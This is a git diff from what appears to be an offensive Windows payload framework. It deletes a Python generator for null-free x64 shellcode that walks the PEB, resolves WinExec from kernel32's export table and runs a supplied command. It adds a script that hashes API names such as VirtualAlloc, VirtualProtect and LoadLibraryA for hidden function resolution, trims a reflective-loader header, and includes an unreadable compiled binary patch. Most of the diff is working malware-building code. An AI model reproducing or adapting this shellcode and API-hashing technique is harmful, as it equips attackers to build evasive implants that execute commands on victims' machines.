LPVOID, SIZE_T, DWORD, DWORD ); -typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); - typedef ULONG_PTR (WINAPI * REFLECTIVEDLLLOADER)(); -typedef BOOL (WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID); - -typedef struct -{ - WORD offset:12; - WORD type:4; -} IMAGE_RELOC, *PIMAGE_RELOC; - -#pragma intrinsic( _rotr ) - -__forceinline DWORD rotate(DWORD d) -{ - return _rotr(d, HASH_KEY); -} - -__forceinline DWORD hash(char * c) -{ - DWORD h = 0; - do - { - h = rotate(h); - h += *c; - } while( *++c ); - - return h; -} - -extern "C" void AlignRSP(); -extern "C" int Entry(); +extern "C" VOID AlignRSP(); +extern "C" VOID Entry(); extern "C" LPVOID ReflectiveCaller(); #endif // HERMIT_ENTRY_HPP \ No newline at end of file diff --git a/payload/win/shellcode/script/asm/exec.py b/payload/win/shellcode/script/asm/exec.py deleted file mode 100644 index 8e6277f..0000000 --- a/payload/win/shellcode/script/asm/exec.py +++ /dev/null @@ -1,175 +0,0 @@ -# Reference: https://github.com/boku7/x64win-DynamicNoNull-WinExec-PopCalc-Shellcode -from typing import List -from utils import convert - -def get_kernel32_addr() -> str: - return """ -; Get kernel32.dll Address -xor rdi, rdi ; RDI = 0x0 -mul rdi ; RAX&RDX = 0x0 -mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB -mov rbx, [rbx+0x18] ; RBX = Address_of_LDR -mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll -mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll -mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll -mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll) -mov r8, rbx ; RBX & R8 = &kernel32.dll -""" - -def get_exporttable_addr() -> str: - return """ -; Get kernel32.dll ExportTable Address -mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader -add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader -xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add -add cx, 0x88ff -shr rcx, 0x8 ; RCX = 0x88ff --> 0x88 -mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable -add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable -""" - -def get_address_table() -> str: - return """ -; Get &AddressTable from Kernel32.dll ExportTable -xor r10, r10 -mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable -add r10, r8 ; R10 = &AddressTable -""" - -def get_namepointer_table() -> str: - return """ -; Get &NamePointerTable from Kernel32.dll ExportTable -xor r11, r11 -mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable -add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable) -""" - -def get_ordinal_table() -> str: - return """ -; Get &OrdinalTable from Kernel32.dll ExportTable -xor r12, r12 -mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable -add r12, r8 ; R12 = &OrdinalTable -""" - -def jump_to_apis() -> str: - return "jmp short apis" - -def def_getapiaddr() -> str: - return """ -; Get the address of the API from the Kernel32.dll ExportTable -getapiaddr: -pop rbx ; save the return address for ret 2 caller after API address is found -pop rcx ; Get the string length counter from stack -xor rax, rax ; Setup Counter for resolving the API Address after finding the name string -mov rdx, rsp ; RDX = Address of API Name String to match on the Stack -push rcx ; push the string length counter to stack -""" - -def def_loop() -> str: - return """ -loop: -mov rcx, [rsp] ; reset the string length counter from the stack -xor rdi,rdi ; Clear RDI for setting up string name retrieval -mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] -add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll -mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string) -repe cmpsb ; Compare strings at RDI & RSI -je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API -""" - -def def_incloop() -> str: - return """ -incloop: -inc rax -jmp short loop -""" - -def def_resolveaddr() -> str: - return """ -; Find the address of GetProcAddress by using the last value of the Counter -resolveaddr: -pop rcx ; remove string length counter from top of stack -mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32. -mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber] -add rax, r8 ; RAX = Kernel32. = RVA kernel32. + kernel32.dll BaseAddress -push rbx ; place the return address from the api string call back on the top of the stack -ret ; return to API caller -""" - -def def_api() -> str: - return """ -apis: ; API Names to resolve addresses -xor rcx, rcx -add cl, 0x7 ; String length (len("WinExec") => 7) for comparing string -mov rax, 0x9C9A87BA9196A80F ; not (reverse the bits) 0x9C9A87BA9196A80F = 0xF0,WinExec -not rax -shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll -push rax -push rcx ; push the string length counter to stack -call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable -mov r14, rax ; R14 = Kernel32.WinExec Address -""" - -def call_api(cmd_hexarr: List[str], shr_hex: str) -> str: - asm = f""" -; UINT WinExec( -; LPCSTR lpCmdLine, => RCX = "example.exe",0x0 -; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL -; ); -xor rcx, rcx -mul rcx ; RAX & RDX & RCX = 0x0 -push rax ; Null terminate string on stack -""" - - if shr_hex == '0': - for cmd_hex in cmd_hexarr: - asm += f""" -mov rax, 0x{cmd_hex} -push rax -""" - - else: - for i in range(0, len(cmd_hexarr)): - if i == 0: - asm += f""" -mov rax, 0x{cmd_hexarr[i]} -shr rax, 0x{shr_hex} -push rax -""" - else: - asm += f""" -mov rax, 0x{cmd_hexarr[i]} -push rax -""" - - # Push remaining argument - asm += """ -mov rcx, rsp -inc rdx ; RDX = 0x1 = SW_SHOWNORMAL -sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA) -call r14 ; Call WinExec("example.exe", SW_SHOWNORMAL) -""" - - return asm - -def generate(cmd: str) -> str: - # cmd_hexarr = ["0x9A879AD19C939E9C"] # calc.exe - cmd_hexarr, shr_hex = convert.str2hex(cmd, True) - print("cmd_hexarr", cmd_hexarr) - print("shr_hex: ", shr_hex) - - asm = "" - asm += get_kernel32_addr() - asm += get_exporttable_addr() - asm += get_address_table() - asm += get_namepointer_table() - asm += get_ordinal_table() - asm += jump_to_apis() - asm += def_getapiaddr() - asm += def_loop() - asm += def_incloop() - asm += def_resolveaddr() - asm += def_api() - asm += call_api(cmd_hexarr, shr_hex) - return asm diff --git a/payload/win/shellcode/script/calc_hash_func.py b/payload/win/shellcode/script/calc_hash_func.py new file mode 100644 index 0000000..3d358fc --- /dev/null +++ b/payload/win/shellcode/script/calc_hash_func.py @@ -0,0 +1,58 @@ +from typing import Mapping + +FUNCS = [ + # NTAPI + "NtFlushInstructionCache", + + # WINAPI + "DllMain", + "GetProcAddress", + "LoadLibraryA", + "LoadLibraryW", + "MessageBoxA", + "MessageBoxW", + "VirtualAlloc", + "VirtualProtect", +] + +HASH_IV = 0x35 +RANDOM_ADDR = 0xab10f29f + +def calc_hash(string: str) -> int: + hash = HASH_IV + + for s in string: + # hash = ((hash << 5) + hash) + ord(s) + hash = hash * RANDOM_ADDR + ord(s) + + return hash & 0xFFFFFFFF + + +def is_dupl(hashes: Mapping[str, str], hash: str) -> bool: + for v in hashes.values(): + if v == hash: + return True + return False + + +def main(): + hashes = {} + + for func in FUNCS: + hash_value = calc_hash(func) + hash_fmt = f"{'0x{0:x}'.format(hash_value)}" + # Check if the hash is duplicate + if is_dupl(hashes, hash_fmt) is True: + print("The calculated hash is duplicate. Please try again.") + return + hashes[f"#define HASH_FUNC_{func.upper()}"] = hash_fmt + + max_length = max(len(api_name) for api_name in hashes.keys()) + + for api_name, api_hash in hashes.items(): + print(f"{api_name.ljust(max_length)} {api_hash}") + + +if __name__ == "__main__": + print("Set the following defines to a header file such as 'procs.hpp'.\n") + main() diff --git a/payload/win/shellcode/script/calc_hash_module b/payload/win/shellcode/script/calc_hash_module new file mode 100755 index 0000000000000000000000000000000000000000..2e0885c91ca1f58f6a93ce0fb513a603b0dc9102 GIT binary patch literal 53696 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 